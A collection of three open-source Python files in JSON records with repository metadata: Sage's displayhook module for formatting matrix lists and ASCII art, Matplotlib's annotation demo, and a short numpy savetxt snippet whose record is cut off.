{"text": "# -*- coding: utf-8 -*-\nr\"\"\"\nImplements a displayhook for Sage.\n\nThis displayhook has two new facilities, by default the displayhook contains a\nnew facility for displaying lists of matrices in an easier to read format::\n\n    sage: [identity_matrix(i) for i in range(2,5)]\n    [\n                    [1 0 0 0]\n           [1 0 0]  [0 1 0 0]\n    [1 0]  [0 1 0]  [0 0 1 0]\n    [0 1], [0 0 1], [0 0 0 1]\n    ]\n\nThis facility uses :meth:`_repr_` (and a simple string) to try do a nice read\nformat (see :meth:`sage.structure.parent._repr_option` for details).\n\nWith this displayhook there exists an other way for displaying object and more\ngenerally, all sage expression as an ASCII art object::\n\n    sage: from sage.misc.interpreter import get_test_shell\n    sage: shell = get_test_shell()\n    sage: shell.run_cell('%display ascii_art')\n    sage: shell.run_cell('integral(x^2/pi^x, x)')\n     / 2    2                      \\  -x*log(pi)\n    -\\x *log (pi) + 2*x*log(pi) + 2/*e\n    --------------------------------------------\n                         3\n                      log (pi)\n    sage: shell.run_cell(\"i = var('i')\")\n    sage: shell.run_cell('sum(i*x^i, i, 0, 10)')\n        10      9      8      7      6      5      4      3      2\n    10*x   + 9*x  + 8*x  + 7*x  + 6*x  + 5*x  + 4*x  + 3*x  + 2*x  + x\n    sage: shell.run_cell('StandardTableaux(4).list()')\n    [\n    [                                                                  1  4    1  3\n    [                 1  3  4    1  2  4    1  2  3    1  3    1  2    2       2\n    [   1  2  3  4,   2      ,   3      ,   4      ,   2  4,   3  4,   3   ,   4\n    <BLANKLINE>\n                1 ]\n        1  2    2 ]\n        3       3 ]\n    ,   4   ,   4 ]\n    sage: shell.run_cell('%display simple')\n\nThis other facility uses a simple `AsciiArt` object\n(see :class:`sage.misc.ascii_art.AsciiArt` and\n:meth:`sage.structure.parent._ascii_art_`).\n\nAUTHORS:\n\n- Bill Cauchois (2009): initial version\n- Jean-Baptiste Priez <jbp@kerios.fr> (2013): ASCII art\n\"\"\"\n\nimport sys, __builtin__\n\n\n# This is used to wrap lines when printing \"tall\" lists.\nMAX_COLUMN = 70\n\ndef _check_tall_list_and_format(the_list):\n    \"\"\"\n    First check whether a list is \"tall\" -- whether the reprs of the\n    elements of the list will span multiple lines and cause the list\n    to be printed awkwardly.  If not, this function returns ``None`` and\n    does nothing; you should revert back to the normal method for\n    printing an object (its repr). If so, return the string in the\n    special format. Note that the special format isn't just for\n    matrices. Any object with a multiline repr will be formatted.\n\n    INPUT:\n\n    - ``the_list`` - The list (or a tuple).\n\n    TESTS::\n\n        sage: from sage.misc.displayhook import format_obj\n\n    We test _check_tall_list_and_format() indirectly by calling format_obj() on\n    a list of matrices::\n\n        sage: print sage.misc.displayhook.format_obj( \\\n                [matrix([[1, 2, 3, 4], [5, 6, 7, 8]]) for i in xrange(7)])\n        [\n        [1 2 3 4]  [1 2 3 4]  [1 2 3 4]  [1 2 3 4]  [1 2 3 4]  [1 2 3 4]\n        [5 6 7 8], [5 6 7 8], [5 6 7 8], [5 6 7 8], [5 6 7 8], [5 6 7 8],\n        <BLANKLINE>\n        [1 2 3 4]\n        [5 6 7 8]\n        ]\n\n    We return ``None`` if we don't have anything special to do::\n\n        sage: format_obj('one-line string')\n        sage: format_obj(matrix([[1,2,3]]))\n    \"\"\"\n    # For every object to be printed, split its repr on newlines and store the\n    # result in this list.\n    split_reprs = []\n    tall = False\n    for elem in the_list:\n        split_reprs.append(`elem`.split('\\n'))\n        if len(split_reprs[-1]) > 1:\n            # Meanwhile, check to make sure the list is actually \"tall\".\n            tall = True\n    if not tall:\n        return None\n    # Figure out which type of parenthesis to use, based on the type of the_list.\n    if isinstance(the_list, tuple):\n        parens = '()'\n    elif isinstance(the_list, list):\n        parens = '[]'\n    else:\n        raise TypeError, 'expected list or tuple'\n\n    # running_lines is a list of lines, which are stored as lists of strings\n    # to be joined later. For each split repr, we add its lines to the\n    # running_lines array. When current_column exceeds MAX_COLUMN, process\n    # and output running_lines using _print_tall_list_row.\n    running_lines = [[]]\n    current_column = 0\n    s = [parens[0]]\n    for split_repr in split_reprs:\n        width = max(len(x) for x in split_repr)\n        if current_column + width > MAX_COLUMN and not (width > MAX_COLUMN):\n            s.extend(_tall_list_row(running_lines))\n            running_lines = [[]]\n            current_column = 0\n        current_column += width + 2\n        # Add the lines from split_repr to the running_lines array. It may\n        # be necessary to add or remove lines from either one so that the\n        # number of lines matches up.\n        for i in xrange(len(running_lines), len(split_repr)):\n            running_lines.insert(0, [' ' * len(x) for x in running_lines[-1]])\n        line_diff = len(running_lines) - len(split_repr)\n        for i, x in enumerate(split_repr):\n            running_lines[i + line_diff].append(x.ljust(width))\n        for i in xrange(line_diff):\n            running_lines[i].append(' ' * width)\n    # Output any remaining entries.\n    if len(running_lines[0]) > 0:\n        s.extend(_tall_list_row(running_lines, True))\n    s.append(parens[1])\n    return \"\\n\".join(s)\n\n# This helper function for _print_tall_list processes and outputs the\n# contents of the running_lines array.\ndef _tall_list_row(running_lines, last_row=False):\n    s=[]\n    for i, line in enumerate(running_lines):\n        if i + 1 != len(running_lines):\n            sep, tail = '  ', ''\n        else:\n            # The commas go on the bottom line of this row.\n            sep, tail = ', ', '' if last_row else ','\n        s.append(sep.join(line) + tail)\n    # Separate rows with a newline to make them stand out.\n    if not last_row:\n        s.append(\"\")\n    return s\n\ndef format_obj(obj):\n    \"\"\"\n    This function is used internally by the displayhook.\n\n    We attempt to keep ascii art of list/tuple members intact as we\n    print them. See :meth:`sage.structure.parent._repr_option` for\n    details.\n\n    OUTPUT:\n\n    Return a string if we want to print it in a special way;\n    otherwise, return ``None``.\n\n    EXAMPLES::\n\n        sage: import sage.misc.displayhook\n\n    For most objects, nothing is done (``None`` is returned):\n\n        sage: sage.misc.displayhook.format_obj('Hello, world!')\n        sage: sage.misc.displayhook.format_obj((1, 2, 3, 4))\n\n    We demonstrate the special format for lists of matrices::\n\n        sage: sage.misc.displayhook.format_obj( \\\n                [matrix([[1], [2]]), matrix([[3], [4]])])\n        '[\\n[1]  [3]\\n[2], [4]\\n]'\n\n    TESTS:\n\n    In #14466 we override IPython's special printing of ``type`` objects\n    and revert it to Python's standard string representation::\n\n        sage: shell=sage.misc.interpreter.get_test_shell()\n        sage: shell.displayhook(type)\n        <type 'type'>\n\n    \"\"\"\n    if isinstance(obj, type):\n        return repr(obj)\n    ascii_art = False\n    if isinstance(obj, (tuple, list)) and len(obj) > 0:\n        for o in obj:\n            try:\n                ascii_art = ascii_art or o.parent()._repr_option('element_ascii_art')\n            except (AttributeError, TypeError):\n                pass\n    if ascii_art:\n        return _check_tall_list_and_format(obj)\n    else:\n        return None\n\nclass DisplayHook(object):\n    \"\"\"\n    Display hook for Sage.\n\n    This is not used directly in interactive Sage (where we use the\n    IPython system for display hooks).  This class provides a way to\n    use the Sage display formatting when not using interactive Sage.\n    \"\"\"\n    def __init__(self, oldhook = sys.__displayhook__):\n        \"\"\"\n        Set the old display hook (default to repr)\n\n        EXAMPLES::\n\n            sage: from sage.misc.displayhook import DisplayHook\n            sage: def f(o): print repr(o)[:5], \"...\"\n            sage: d = DisplayHook(f)\n            sage: d(range(10))\n            [0, 1 ...\n        \"\"\"\n        self.oldhook = oldhook\n\n    def __call__(self, obj):\n        \"\"\"\n        Format the object using Sage's formatting, or format it using the old\n        display hook if Sage does not want to handle the object.\n\n        EXAMPLES::\n\n            sage: from sage.misc.displayhook import DisplayHook\n            sage: d = DisplayHook()\n            sage: d((identity_matrix(3), identity_matrix(3)))\n            (\n            [1 0 0]  [1 0 0]\n            [0 1 0]  [0 1 0]\n            [0 0 1], [0 0 1]\n            )\n        \"\"\"\n        s = format_obj(obj)\n        if s is not None:\n            print s\n            __builtin__._ = obj\n        else:\n            self.oldhook(obj)\n\nfrom IPython.core.formatters import PlainTextFormatter\nfrom ascii_art import ascii_art\nclass SagePlainTextFormatter(PlainTextFormatter):\n    r\"\"\"\n    A replacement for the plain text formatter which can use two facilities:\n\n    - correctly print lists of matrices or other objects (see\n      :meth:`sage.structure.parent._repr_option`),\n    - print ASCII art objects (like expressions) (see\n      :meth:`sage.structure.parent._ascii_art_`).\n\n    EXAMPLES::\n\n        sage: from sage.misc.interpreter import get_test_shell\n        sage: shell = get_test_shell()\n        sage: shell.display_formatter.formatters['text/plain']\n        <...displayhook.SagePlainTextFormatter object at 0x...>\n        sage: shell.run_cell('a = identity_matrix(ZZ, 2); [a,a]')\n        [\n        [1 0]  [1 0]\n        [0 1], [0 1]\n        ]\n    \"\"\"\n    def __call__(self, obj):\n        r\"\"\"\n        Computes the format data of ``result``.  If the\n        :func:`sage.misc.displayhook.format_obj` writes a string, then\n        we override IPython's :class:`DisplayHook` formatting.\n\n        EXAMPLES::\n\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: shell.display_formatter.formatters['text/plain']\n            <...displayhook.SagePlainTextFormatter object at 0x...>\n            sage: shell.displayhook.compute_format_data(2)\n            {u'text/plain': '2'}\n            sage: a = identity_matrix(ZZ, 2)\n            sage: shell.displayhook.compute_format_data([a,a])\n            {u'text/plain': '[\\n[1 0]  [1 0]\\n[0 1], [0 1]\\n]'}\n            sage: from sage.misc.displayhook import SPTextFormatter\n            sage: SPTextFormatter.set_display(\"ascii_art\")\n            sage: i = var('i')\n            sage: shell.displayhook.compute_format_data(sum(i*x^i, i, 0, 10))\n            {u'text/plain':     10      9      8      7      6      5      4      3      2\n                            10*x   + 9*x  + 8*x  + 7*x  + 6*x  + 5*x  + 4*x  + 3*x  + 2*x  + x}\n        \"\"\"\n        s = self._format_obj(obj)\n        if s is None:\n            s = super(SagePlainTextFormatter, self).__call__(obj)\n        return s\n\n    _format_obj = lambda _, obj: format_obj(obj)\n\n    def set_display(self, mode=\"ascii_art\"):\n        r\"\"\"\n        Method uses to config the formatting method\n        (:meth:`simple_format_obj` or :func:`sage.misc.ascii_art.ascii_art`).\n\n        TESTS::\n\n            sage: [identity_matrix(i) for i in range(3,7)]\n            [\n                                             [1 0 0 0 0 0]\n                                [1 0 0 0 0]  [0 1 0 0 0 0]\n                     [1 0 0 0]  [0 1 0 0 0]  [0 0 1 0 0 0]\n            [1 0 0]  [0 1 0 0]  [0 0 1 0 0]  [0 0 0 1 0 0]\n            [0 1 0]  [0 0 1 0]  [0 0 0 1 0]  [0 0 0 0 1 0]\n            [0 0 1], [0 0 0 1], [0 0 0 0 1], [0 0 0 0 0 1]\n            ]\n            sage: from sage.misc.displayhook import SPTextFormatter\n            sage: SPTextFormatter.set_display(\"ascii_art\")\n            sage: from sage.misc.interpreter import get_test_shell\n            sage: shell = get_test_shell()\n            sage: shell.run_cell(\"i = var('i')\")\n            sage: shell.run_cell('sum(i*x^i, i, 0, 10)')\n                10      9      8      7      6      5      4      3      2\n            10*x   + 9*x  + 8*x  + 7*x  + 6*x  + 5*x  + 4*x  + 3*x  + 2*x  + x\n        \"\"\"\n        self._format_obj = {\n            \"ascii_art\": ascii_art,\n            \"simple\": format_obj\n        }[mode]\n\nSPTextFormatter = None\n\n", "meta": {"hexsha": "826a95ca1eadd2391201753d4acbf628b9de65f5", "size": 12332, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/displayhook.py", "max_stars_repo_name": "felix-salfelder/sage", "max_stars_repo_head_hexsha": "5d8b2ff4794c44c7fa7a9d86ec567ecfa337e566", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-08-20T00:30:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-17T10:54:00.000Z", "max_issues_repo_path": "src/sage/misc/displayhook.py", "max_issues_repo_name": "felix-salfelder/sage", "max_issues_repo_head_hexsha": "5d8b2ff4794c44c7fa7a9d86ec567ecfa337e566", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/displayhook.py", "max_forks_repo_name": "felix-salfelder/sage", "max_forks_repo_head_hexsha": "5d8b2ff4794c44c7fa7a9d86ec567ecfa337e566", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.5389048991, "max_line_length": 95, "alphanum_fraction": 0.5626824522, "include": true, "reason": "import sage,from sage", "num_tokens": 3502, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37022540649291935, "lm_q2_score": 0.14608724704829565, "lm_q1q2_score": 0.05408521042188679}}
{"text": "\"\"\"\n================\nAnnotating Plots\n================\n\nThe following examples show how it is possible to annotate plots in Matplotlib.\nThis includes highlighting specific points of interest and using various\nvisual tools to call attention to this point. For a more complete and in-depth\ndescription of the annotation and text tools in Matplotlib, see the\n:doc:`tutorial on annotation </tutorials/text/annotations>`.\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport numpy as np\nfrom matplotlib.text import OffsetFrom\n\n\n###############################################################################\n# Specifying text points and annotation points\n# --------------------------------------------\n#\n# You must specify an annotation point ``xy=(x, y)`` to annotate this point.\n# Additionally, you may specify a text point ``xytext=(x, y)`` for the location\n# of the text for this annotation.  Optionally, you can specify the coordinate\n# system of *xy* and *xytext* with one of the following strings for *xycoords*\n# and *textcoords* (default is 'data')::\n#\n#  'figure points'   : points from the lower left corner of the figure\n#  'figure pixels'   : pixels from the lower left corner of the figure\n#  'figure fraction' : (0, 0) is lower left of figure and (1, 1) is upper right\n#  'axes points'     : points from lower left corner of axes\n#  'axes pixels'     : pixels from lower left corner of axes\n#  'axes fraction'   : (0, 0) is lower left of axes and (1, 1) is upper right\n#  'offset points'   : Specify an offset (in points) from the xy value\n#  'offset pixels'   : Specify an offset (in pixels) from the xy value\n#  'data'            : use the axes data coordinate system\n#\n# Note: for physical coordinate systems (points or pixels) the origin is the\n# (bottom, left) of the figure or axes.\n#\n# Optionally, you can specify arrow properties which draws and arrow\n# from the text to the annotated point by giving a dictionary of arrow\n# properties\n#\n# Valid keys are::\n#\n#   width : the width of the arrow in points\n#   frac  : the fraction of the arrow length occupied by the head\n#   headwidth : the width of the base of the arrow head in points\n#   shrink : move the tip and base some percent away from the\n#            annotated point and text\n#   any key for matplotlib.patches.polygon  (e.g., facecolor)\n\n# Create our figure and data we'll use for plotting\nfig, ax = plt.subplots(figsize=(3, 3))\n\nt = np.arange(0.0, 5.0, 0.01)\ns = np.cos(2*np.pi*t)\n\n# Plot a line and add some simple annotations\nline, = ax.plot(t, s)\nax.annotate('figure pixels',\n            xy=(10, 10), xycoords='figure pixels')\nax.annotate('figure points',\n            xy=(80, 80), xycoords='figure points')\nax.annotate('figure fraction',\n            xy=(.025, .975), xycoords='figure fraction',\n            horizontalalignment='left', verticalalignment='top',\n            fontsize=20)\n\n# The following examples show off how these arrows are drawn.\n\nax.annotate('point offset from data',\n            xy=(2, 1), xycoords='data',\n            xytext=(-15, 25), textcoords='offset points',\n            arrowprops=dict(facecolor='black', shrink=0.05),\n            horizontalalignment='right', verticalalignment='bottom')\n\nax.annotate('axes fraction',\n            xy=(3, 1), xycoords='data',\n            xytext=(0.8, 0.95), textcoords='axes fraction',\n            arrowprops=dict(facecolor='black', shrink=0.05),\n            horizontalalignment='right', verticalalignment='top')\n\n# You may also use negative points or pixels to specify from (right, top).\n# E.g., (-10, 10) is 10 points to the left of the right side of the axes and 10\n# points above the bottom\n\nax.annotate('pixel offset from axes fraction',\n            xy=(1, 0), xycoords='axes fraction',\n            xytext=(-20, 20), textcoords='offset pixels',\n            horizontalalignment='right',\n            verticalalignment='bottom')\n\nax.set(xlim=(-1, 5), ylim=(-3, 5))\n\n\n###############################################################################\n# Using multiple coordinate systems and axis types\n# ------------------------------------------------\n#\n# You can specify the *xypoint* and the *xytext* in different positions and\n# coordinate systems, and optionally turn on a connecting line and mark the\n# point with a marker.  Annotations work on polar axes too.\n#\n# In the example below, the *xy* point is in native coordinates (*xycoords*\n# defaults to 'data').  For a polar axes, this is in (theta, radius) space.\n# The text in the example is placed in the fractional figure coordinate system.\n# Text keyword args like horizontal and vertical alignment are respected.\n\nfig, ax = plt.subplots(subplot_kw=dict(projection='polar'), figsize=(3, 3))\nr = np.arange(0, 1, 0.001)\ntheta = 2*2*np.pi*r\nline, = ax.plot(theta, r)\n\nind = 800\nthisr, thistheta = r[ind], theta[ind]\nax.plot([thistheta], [thisr], 'o')\nax.annotate('a polar annotation',\n            xy=(thistheta, thisr),  # theta, radius\n            xytext=(0.05, 0.05),    # fraction, fraction\n            textcoords='figure fraction',\n            arrowprops=dict(facecolor='black', shrink=0.05),\n            horizontalalignment='left',\n            verticalalignment='bottom')\n\n# You can also use polar notation on a cartesian axes.  Here the native\n# coordinate system ('data') is cartesian, so you need to specify the\n# xycoords and textcoords as 'polar' if you want to use (theta, radius).\n\nel = Ellipse((0, 0), 10, 20, facecolor='r', alpha=0.5)\n\nfig, ax = plt.subplots(subplot_kw=dict(aspect='equal'))\nax.add_artist(el)\nel.set_clip_box(ax.bbox)\nax.annotate('the top',\n            xy=(np.pi/2., 10.),      # theta, radius\n            xytext=(np.pi/3, 20.),   # theta, radius\n            xycoords='polar',\n            textcoords='polar',\n            arrowprops=dict(facecolor='black', shrink=0.05),\n            horizontalalignment='left',\n            verticalalignment='bottom',\n            clip_on=True)  # clip to the axes bounding box\n\nax.set(xlim=[-20, 20], ylim=[-20, 20])\n\n\n###############################################################################\n# Customizing arrow and bubble styles\n# -----------------------------------\n#\n# The arrow between *xytext* and the annotation point, as well as the bubble\n# that covers the annotation text, are highly customizable. Below are a few\n# parameter options as well as their resulting output.\n\nfig, ax = plt.subplots(figsize=(8, 5))\n\nt = np.arange(0.0, 5.0, 0.01)\ns = np.cos(2*np.pi*t)\nline, = ax.plot(t, s, lw=3)\n\nax.annotate(\n    'straight',\n    xy=(0, 1), xycoords='data',\n    xytext=(-50, 30), textcoords='offset points',\n    arrowprops=dict(arrowstyle=\"->\"))\nax.annotate(\n    'arc3,\\nrad 0.2',\n    xy=(0.5, -1), xycoords='data',\n    xytext=(-80, -60), textcoords='offset points',\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"arc3,rad=.2\"))\nax.annotate(\n    'arc,\\nangle 50',\n    xy=(1., 1), xycoords='data',\n    xytext=(-90, 50), textcoords='offset points',\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"arc,angleA=0,armA=50,rad=10\"))\nax.annotate(\n    'arc,\\narms',\n    xy=(1.5, -1), xycoords='data',\n    xytext=(-80, -60), textcoords='offset points',\n    arrowprops=dict(\n        arrowstyle=\"->\",\n        connectionstyle=\"arc,angleA=0,armA=40,angleB=-90,armB=30,rad=7\"))\nax.annotate(\n    'angle,\\nangle 90',\n    xy=(2., 1), xycoords='data',\n    xytext=(-70, 30), textcoords='offset points',\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"angle,angleA=0,angleB=90,rad=10\"))\nax.annotate(\n    'angle3,\\nangle -90',\n    xy=(2.5, -1), xycoords='data',\n    xytext=(-80, -60), textcoords='offset points',\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"angle3,angleA=0,angleB=-90\"))\nax.annotate(\n    'angle,\\nround',\n    xy=(3., 1), xycoords='data',\n    xytext=(-60, 30), textcoords='offset points',\n    bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"angle,angleA=0,angleB=90,rad=10\"))\nax.annotate(\n    'angle,\\nround4',\n    xy=(3.5, -1), xycoords='data',\n    xytext=(-70, -80), textcoords='offset points',\n    size=20,\n    bbox=dict(boxstyle=\"round4,pad=.5\", fc=\"0.8\"),\n    arrowprops=dict(arrowstyle=\"->\",\n                    connectionstyle=\"angle,angleA=0,angleB=-90,rad=10\"))\nax.annotate(\n    'angle,\\nshrink',\n    xy=(4., 1), xycoords='data',\n    xytext=(-60, 30), textcoords='offset points',\n    bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n    arrowprops=dict(arrowstyle=\"->\",\n                    shrinkA=0, shrinkB=10,\n                    connectionstyle=\"angle,angleA=0,angleB=90,rad=10\"))\n# You can pass an empty string to get only annotation arrows rendered\nax.annotate('', xy=(4., 1.), xycoords='data',\n            xytext=(4.5, -1), textcoords='data',\n            arrowprops=dict(arrowstyle=\"<->\",\n                            connectionstyle=\"bar\",\n                            ec=\"k\",\n                            shrinkA=5, shrinkB=5))\n\nax.set(xlim=(-1, 5), ylim=(-4, 3))\n\n# We'll create another figure so that it doesn't get too cluttered\nfig, ax = plt.subplots()\n\nel = Ellipse((2, -1), 0.5, 0.5)\nax.add_patch(el)\n\nax.annotate('$->$',\n            xy=(2., -1), xycoords='data',\n            xytext=(-150, -140), textcoords='offset points',\n            bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n            arrowprops=dict(arrowstyle=\"->\",\n                            patchB=el,\n                            connectionstyle=\"angle,angleA=90,angleB=0,rad=10\"))\nax.annotate('arrow\\nfancy',\n            xy=(2., -1), xycoords='data',\n            xytext=(-100, 60), textcoords='offset points',\n            size=20,\n            # bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n            arrowprops=dict(arrowstyle=\"fancy\",\n                            fc=\"0.6\", ec=\"none\",\n                            patchB=el,\n                            connectionstyle=\"angle3,angleA=0,angleB=-90\"))\nax.annotate('arrow\\nsimple',\n            xy=(2., -1), xycoords='data',\n            xytext=(100, 60), textcoords='offset points',\n            size=20,\n            # bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n            arrowprops=dict(arrowstyle=\"simple\",\n                            fc=\"0.6\", ec=\"none\",\n                            patchB=el,\n                            connectionstyle=\"arc3,rad=0.3\"))\nax.annotate('wedge',\n            xy=(2., -1), xycoords='data',\n            xytext=(-100, -100), textcoords='offset points',\n            size=20,\n            # bbox=dict(boxstyle=\"round\", fc=\"0.8\"),\n            arrowprops=dict(arrowstyle=\"wedge,tail_width=0.7\",\n                            fc=\"0.6\", ec=\"none\",\n                            patchB=el,\n                            connectionstyle=\"arc3,rad=-0.3\"))\nax.annotate('bubble,\\ncontours',\n            xy=(2., -1), xycoords='data',\n            xytext=(0, -70), textcoords='offset points',\n            size=20,\n            bbox=dict(boxstyle=\"round\",\n                      fc=(1.0, 0.7, 0.7),\n                      ec=(1., .5, .5)),\n            arrowprops=dict(arrowstyle=\"wedge,tail_width=1.\",\n                            fc=(1.0, 0.7, 0.7), ec=(1., .5, .5),\n                            patchA=None,\n                            patchB=el,\n                            relpos=(0.2, 0.8),\n                            connectionstyle=\"arc3,rad=-0.1\"))\nax.annotate('bubble',\n            xy=(2., -1), xycoords='data',\n            xytext=(55, 0), textcoords='offset points',\n            size=20, va=\"center\",\n            bbox=dict(boxstyle=\"round\", fc=(1.0, 0.7, 0.7), ec=\"none\"),\n            arrowprops=dict(arrowstyle=\"wedge,tail_width=1.\",\n                            fc=(1.0, 0.7, 0.7), ec=\"none\",\n                            patchA=None,\n                            patchB=el,\n                            relpos=(0.2, 0.5)))\n\nax.set(xlim=(-1, 5), ylim=(-5, 3))\n\n###############################################################################\n# More examples of coordinate systems\n# -----------------------------------\n#\n# Below we'll show a few more examples of coordinate systems and how the\n# location of annotations may be specified.\n\nfig, (ax1, ax2) = plt.subplots(1, 2)\n\nbbox_args = dict(boxstyle=\"round\", fc=\"0.8\")\narrow_args = dict(arrowstyle=\"->\")\n\n# Here we'll demonstrate the extents of the coordinate system and how\n# we place annotating text.\n\nax1.annotate('figure fraction : 0, 0', xy=(0, 0), xycoords='figure fraction',\n             xytext=(20, 20), textcoords='offset points',\n             ha=\"left\", va=\"bottom\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\nax1.annotate('figure fraction : 1, 1', xy=(1, 1), xycoords='figure fraction',\n             xytext=(-20, -20), textcoords='offset points',\n             ha=\"right\", va=\"top\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\nax1.annotate('axes fraction : 0, 0', xy=(0, 0), xycoords='axes fraction',\n             xytext=(20, 20), textcoords='offset points',\n             ha=\"left\", va=\"bottom\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\nax1.annotate('axes fraction : 1, 1', xy=(1, 1), xycoords='axes fraction',\n             xytext=(-20, -20), textcoords='offset points',\n             ha=\"right\", va=\"top\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\n# It is also possible to generate draggable annotations\n\nan1 = ax1.annotate('Drag me 1', xy=(.5, .7), xycoords='data',\n                   #xytext=(.5, .7), textcoords='data',\n                   ha=\"center\", va=\"center\",\n                   bbox=bbox_args,\n                   #arrowprops=arrow_args\n                   )\n\nan2 = ax1.annotate('Drag me 2', xy=(.5, .5), xycoords=an1,\n                   xytext=(.5, .3), textcoords='axes fraction',\n                   ha=\"center\", va=\"center\",\n                   bbox=bbox_args,\n                   arrowprops=dict(patchB=an1.get_bbox_patch(),\n                                   connectionstyle=\"arc3,rad=0.2\",\n                                   **arrow_args))\nan1.draggable()\nan2.draggable()\n\nan3 = ax1.annotate('', xy=(.5, .5), xycoords=an2,\n                   xytext=(.5, .5), textcoords=an1,\n                   ha=\"center\", va=\"center\",\n                   bbox=bbox_args,\n                   arrowprops=dict(patchA=an1.get_bbox_patch(),\n                                   patchB=an2.get_bbox_patch(),\n                                   connectionstyle=\"arc3,rad=0.2\",\n                                   **arrow_args))\n\n# Finally we'll show off some more complex annotation and placement\n\ntext = ax2.annotate('xy=(0, 1)\\nxycoords=(\"data\", \"axes fraction\")',\n                    xy=(0, 1), xycoords=(\"data\", 'axes fraction'),\n                    xytext=(0, -20), textcoords='offset points',\n                    ha=\"center\", va=\"top\",\n                    bbox=bbox_args,\n                    arrowprops=arrow_args)\n\nax2.annotate('xy=(0.5, 0)\\nxycoords=artist',\n             xy=(0.5, 0.), xycoords=text,\n             xytext=(0, -20), textcoords='offset points',\n             ha=\"center\", va=\"top\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\nax2.annotate('xy=(0.8, 0.5)\\nxycoords=ax1.transData',\n             xy=(0.8, 0.5), xycoords=ax1.transData,\n             xytext=(10, 10),\n             textcoords=OffsetFrom(ax2.bbox, (0, 0), \"points\"),\n             ha=\"left\", va=\"bottom\",\n             bbox=bbox_args,\n             arrowprops=arrow_args)\n\nax2.set(xlim=[-2, 2], ylim=[-2, 2])\nplt.show()\n", "meta": {"hexsha": "f04460b7698b7e7bf86fbacda1b21fab92b33411", "size": 15444, "ext": "py", "lang": "Python", "max_stars_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/examples/text_labels_and_annotations/annotation_demo.py", "max_stars_repo_name": "JohnLauFoo/clc_packages_Yu", "max_stars_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-13T17:21:44.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-13T17:21:44.000Z", "max_issues_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/examples/text_labels_and_annotations/annotation_demo.py", "max_issues_repo_name": "JohnLauFoo/clc_packages_Yu", "max_issues_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "matplotlib-3.4.3/matplotlib-3.4.3/examples/text_labels_and_annotations/annotation_demo.py", "max_forks_repo_name": "JohnLauFoo/clc_packages_Yu", "max_forks_repo_head_hexsha": "259f01d9b5c02154ce258734d519ae8995cd0991", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3979591837, "max_line_length": 79, "alphanum_fraction": 0.5556850557, "include": true, "reason": "import numpy", "num_tokens": 3995, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.37022537869825406, "lm_q2_score": 0.1460872489071524, "lm_q1q2_score": 0.054085207049636604}}
{"text": "#!/usr/bin/env python\n\nimport numpy as np\n\ndef save_np_array(output_file_path, data_array, header_list):\n\n    np.savetxt(output_file_path,\n               data_array,\n               #fmt=\"%10.5f\",\n               #delimiter=\" \",\n               header=\"; \".join(header_list),\n               #comments=\"# \"                 # String that will be prepended to the ``header`` and ``footer`` strings, to mark them as comments. Default: '# '.\n               )\n\n\ndata = np.random.rand(10, 4)\nheader = [\"rand 1\", \"rand 2\", \"rand 3\", \"rand 4\"]\n\nsave_np_array(\"test.dat\", data, header)\n", "meta": {"hexsha": "e54d913d92eb7278e9d31660d8d1ae3557cb8518", "size": 573, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/numpy/savetxt_with_header.py", "max_stars_repo_name": "jeremiedecock/snippets", "max_stars_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 23, "max_stars_repo_stars_event_min_datetime": "2015-06-08T13:01:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-30T08:20:04.000Z", "max_issues_repo_path": "python/numpy/savetxt_with_header.py", "max_issues_repo_name": "jeremiedecock/snippets", "max_issues_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-22T02:36:10.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-22T02:36:10.000Z", "max_forks_repo_path": "python/numpy/savetxt_with_header.py", 